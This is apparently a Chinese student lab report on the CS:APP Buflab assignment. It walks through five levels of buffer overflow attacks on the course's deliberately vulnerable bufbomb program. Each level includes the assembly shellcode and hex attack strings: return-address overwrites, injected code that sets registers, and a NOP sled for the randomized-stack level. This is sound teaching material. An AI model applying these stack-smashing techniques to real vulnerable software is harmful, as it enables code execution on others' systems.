BUFLAB

实验题目:BUFLAB

实验目的:要求学生利用一个缓冲区溢出漏洞,来修改一个二进制可执行文件运行时的行为。从而深入了解缓冲区溢出的原理,IA-32调用函数的过程和堆栈的结构。

实验环境:16.04 32位Ubuntu系统

实验内容及操作步骤:

准备工作

(1)阅读buflab-writeup文档,了解实验相关事项。将实验文件的压缩包解压,得到以下三个文件:

bufbomb: The buffer bomb program you will attack.

存在缓冲区溢出漏洞的程序,即我们需要进行缓冲区溢出攻击的程序。

makecookie: Generates a “cookie” based on your userid.

输入不同userid生成唯一cookie的程序,不同的cookie需要不同的解答。

hex2raw: A utility to help convert between string formats

使编写的缓冲区利用代码转换为字符串格式的程序,只有经过转换以后才可以输入到getbuf中。

(2)使用makecookie程序,生成唯一cookie。

(3)bufbomb程序运行后会进入getbuf函数,该函数类似于gets函数,它是读入一段字符串,以字符串\n或者eof表示结束,并存储到指定区域,提供的缓冲区大小为32B。函数如下:

 

使用方法如下:


(4)将文本转换成字符串格式并传入到getbuf:

(5)

 

                

Level 0: Candle (10 pts)

题目说明:

test函数运行会调用getbuf函数,调用完之后返回test函数,现在我们要做的是当test函数调用getbuf函数后,通过调用我们的exploit文本,使得调用完之后不返回test函数而是执行smoke函数。

test函数如下:

 

smoke函数如下:

分析解决:

(1) 反汇编getbuf函数:

由划线三行反汇编代码结合栈帧相关知识可知,-0x28(%ebp)是输入的字符串buf的首地址,而返回地址存储在0x4(%ebp),二者相差了0x28+0x4=0x2c(44B)。同时返回地址占据4B的内存空间,所以我们需要输入一个48B长的字符串,前面44B为任意内容(0x0a除外,这是\n的ASCII值),后面4B返回地址填入smoke函数的首地址,结合下图进行理解:

                                                              

(2)寻找smoke函数的首地址并构造字符串:

smoke函数首地址为0x08048e0b(注意不是0x08048e0a,0x0a是换行\n的ASCII值,不可以输入,那么我们就输入0x8048e0b来代替)因此构造如下字符串:

前44B

00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00

后4B(小端法)

0b 8e 04 08

结果如下:

Level 1: Sparkler (10 pts)

题目说明:

与Level 0相似,test函数运行会调用getbuf函数,调用完getbuf后要求不返回getbuf的调用函数test而是去执行fizz函数。fizz函数要求传入参数,参数是cookie。

test函数如下:

 

fizz函数如下:

分析解决:

(1)查看fizz的反汇编代码:

由反汇编代码和C语言代码可知,第一行第二行划线代码可知即将val与cookie比较,因此0x8048d104就是cookie(0x43533f4e)所存储着的地址,而0x8(%ebp)即我们所需要传入的参数val,返回地址应该修改成0x08048daf。

 

(2)构造字符串

同上一题类似,这次我们需要输入一个56B长的字符串,前44B随便设置,52B到56B设置为cookie,44B到48B设置为0x08048daf,中间填充0。构造如下:

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 af 8d 04 08

00 00 00 00 4e 3f 53 43

之所以这样写原因如图所示:

即ret调用,要返回到上一个保存的test的ebp地址中,即返回到(调用getbuf前)这个

    

 

结果如下:

Level 2: Firecracker (15 pts)

题目说明:

更复杂的缓冲区攻击形式涉及到攻击字符串中包含机器指令,并通过攻击字符串将原返回地址的指针改写为位于堆栈上的攻击机器指令的开始地址。当调用函数(本例中为getbuf)执行其ret指令时,程序将开始执行堆栈上的指令而不是返回。通过这种形式的攻击,你可以让程序做几乎任何事情。随攻击字符串被放置到堆栈上的代码被称为攻击代码(exploit code)。然而,执行这种类型的攻击是比较困难的,因为你必须想方设法将机器代码放到堆栈上,并把返回地址设置为这个代码的开始地址。

本题需要test函数运行调用完getbuf函数后,不返回test而是去执行函数bang,bang需要传入参数,参数是全局变量global_value,应将global_value设置为cookie。

bang函数如下:

 

分析解决:

(1)bang函数的反汇编代码:

bang函数的首地址是0x08048d52,由第一行划线代码可以得知,gobal_value存储在0x804d10c中,由第二行划线代码可知,cookie存储在0x804d104中。

(2)设计指令

由于我们要往字符串中添加指令,而我们先要把cookie的值传入到gobal_value的地址中,然后把bang函数的首地址压入栈,然后通过ret指令返回到调用函数中,只有这样才能返回后bang函数能运行起来,所以指令应设计为:

movl $0x43533f4e,0x804d10c

pushl $0x08048d52

ret

(3)转换格式

由于本质上我们是通过gets函数将字符串输入的,因此汇编代码是不能直接输入进去的,我们应该先将.S文件转换成.o二进制目标文件,再在十六进制格式下查看.o文件,使得后面可以构造十六进制的字符串输入进去。

为了方便接下来步骤的理解,我们先画出栈帧示意图:

                          

                                                   

 

首先,当test函数执行getbuf,getbuf获取的字符串是我们预先编写好的字符串,当getbuf执行完毕后,我们将getbuf的返回地址修改成buf的首地址,这意味着接下来程序会跳转回我们输入的buf字符中,执行我们设计好的三条指令,再通过最后的ret指令使得程序返回到我们之前pushl $0x08048d52时入栈的bang的首地址,然后执行bang函数。

获得buf首地址:

输入字符串:

c7 05 0c d1 04 08 4e 3f

53 43 68 52 8d 04 08 c3

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 68 35 68 55

结果如下:

 

Level 3: Dynamite (20 pts)

题目说明:

我们之前的攻击都是引诱程序跳转到其他函数的代码,在程序执行完之后才退出。因此使用破坏堆栈的攻击字符串是可以接受的,因为它就是覆盖了我们保存的值。最复杂的缓冲区溢出攻击会导致程序执行一些会改变程序寄存器或者内存状态的代码,使程序返回到我们原来的调用函数中(本例中为test函数),并让调用函数感受不到攻击。同样的,这种攻击方式存在一定难度,我们需要将机器代码放到堆栈中,并将返回指针设置为该代码的起始位置,最后要撤销对堆栈状态的任何损坏。

所以这一题我们需要提供一个攻击字符串,使得getbuf调用完返回到调用函数test继续执行,且不能破坏getbuf调用函数后test函数维护的堆栈状态,也就是要恢复ebp的值。并且调用getbuf后的返回值应为自己的cookie,而不是1(说白了,要攻击程序修改getbuf返回值,但是不对其余任何地方进行更改)。

分析解决:

(1)设计指令

与上一题类似,首先,调用getbuf后的返回值应该是自己的cookie,因此应该将cookie传到eax中。然后要返回到test中,因此应该将call getbuf下一行代码的地址压入栈中,最后调用ret。

 

由上图知,call getbuf下一行代码的地址为0x08048e50。

movl $0x43533f4e,%eax #传入cookie到返回值

pushl $0x08048e50 #返回地址指向test中getbuf调用后的下一条指令

ret #返回test继续执行

 

(2)转换格式

与上一题类似,但由于我们一般在覆盖getbuf返回地址时会覆盖掉保存的ebp寄存器的值,这一次我们要保存ebp的值,因此我们手动输入ebp的值到字符串中。

                                       

注意,直接p/x $ebp显示的是ebp所处的地址,即0x55683568+0x28=0x55653590,而不是ebp里面所存的值。

构造字符串如下:

b8 4e 3f 53

43 68 50 8e

04 08 c3 00

00 00 00 00

00 00 00 00

00 00 00 00

00 00 00 00

00 00 00 00

00 00 00 00

00 00 00 00

c0 35 68 55

68 35 68 55

结果如下:

Level 4: Nitroglycerin (10 pts)

题目说明:

一个特定的程序在不同情况下运行,特别是由不同的用户运行时,所使用的堆栈位置会有所不同。造成这种变化的原因之一是:当程序启动时,所有环境变量的值都放在堆栈的底部附近,环境变量的值会影响堆栈空间的分配。在调用getbuf函数的代码中,本实验已经加入了稳定堆栈的功能,所以getbuf的堆栈位置在不同情况下运行都会保持一致,这使得你在写一个攻击字符串时可以知道buf的确切起始地址。但对于一个正常的程序利用这种漏洞进行攻击,可能奏效可能无效。所以在这一关,我们反其道而行之,使得堆栈的位置比硝化甘油更不稳定。

这一关的要求和上一关一致,不过需要加上-n参数运行bufbomb,此时会进入testn和getbufn函数而不是test和getbuf函数。getbufn与getbuf所不同的是,缓冲区为512B,且调用getbufn的函数会在栈中随机分配一段存储区,这导致getbufn使用的栈基址EBP随机变化。此外,当在Nitro模式下运行时,bufbomb会要输入攻击字符串5次,它将执行5次getbufn,每次都有不同的堆栈偏移,每一次都要求getbufn的返回值为实验者的cookie。

所以这一关我们要提供一个攻击字符串,使得getbufn被调用5次后,最终仍返回到testn函数中,且不能破坏testn的堆栈状态,并使返回值为cookie。

分析解决:

(1)查找buf首地址范围 

由于和上一关一样,我们仍需要buf的首地址,但是这次buf的首地址是变化的,我们要找出其变化范围。

      

 

查看getbuf的反汇编代码,可以发现buf的首地址变为-0x208(%ebp),即缓冲区为520B大小。由于每次运行testn函数时ebp都是不同的,因此每次getbufn保存的testn的ebp的值也是随机,

我们运行输入5次字符串,来确定buf首地址的范围。

    

   

        

由以上表格可以看出,buf首地址范围从0x55683308到0x55683388之间,取其中最高的地址0x55683388作为跳转地址。

                ​​​​​​​        ​​​​​​​        ​​​​​​​        ​​​​​​​        ​​​​​​​        ​​​​​​​   

 

(2)构造指令

首先可以看到mov  %esp,%ebp ,此时esp和ebp相等;push  %ebx,此时ebp=esp+0x4;

sub  $0x24,%esp 这个时候执行完后,ebp=esp+0x28。由于此处ebp是变化的,但是esp分配好后一般不再变化,因此可以通过esp来恢复我们的ebp。

构造指令如下:

movl $0x43533f4e,%eax #传入cookie到返回值

lea 0x28(%esp),%ebp  #恢复ebp

pushl 0x08048ce2 #返回地址指向testn中getbufn调用后的下一条指令

ret #返回testn继续执行

(3)攻击字符串

 

由上图可构造:

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90

b8 4e 3f 53 43

8d 6c 24 28

68 e2 8c 04 08

c3

88 33 68 55

由于缓冲区有520个字节加上返回地址和原ebp,总共528个字节,除去上述机器码15个字节,返回地址4个字节,剩余509个字节用nop填充,对应ascii码为90。之所以用buf的最大地址和用nop指令填充,是因为我们无法确定buf首地址的确切位置,采用buf的最大地址作为返回地址,这样能确保每次运行都能运行buf字符串中的指令,不会执行到其他指令,而nop只是使eip+1,不会影响我们攻击字符串几条指令的执行。

结果如下(根据文档提示,记得hex2raw后加-n):

实验结果及分析:

 

收获与体会:

通过这个实验了解关于缓冲区溢出攻击的原理,并通过5个难度依次增加level关卡,明白了如何通过修改ebp和返回地址,添加机器指令,返回原调用函数等一系列操作,来实现缓冲区溢出攻击,也让我们对如何防止他人缓冲区溢出攻击提供了一些思路。此外,由于需要gdb调试,重温了gdb相关操作,也间接复习了汇编语言相关知识。本次实验中卡的比较久的两个点就是level1中返回地址和参数之间没有间隔4B,level3中没有分清楚ebp的地址和ebp内部保存的值的区别,错把ebp地址当成ebp保存的内容拿来恢复,导致level3一直提示堆栈状态已破坏,对于这种指针类型的问题应该更加小心留意。

验成绩

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值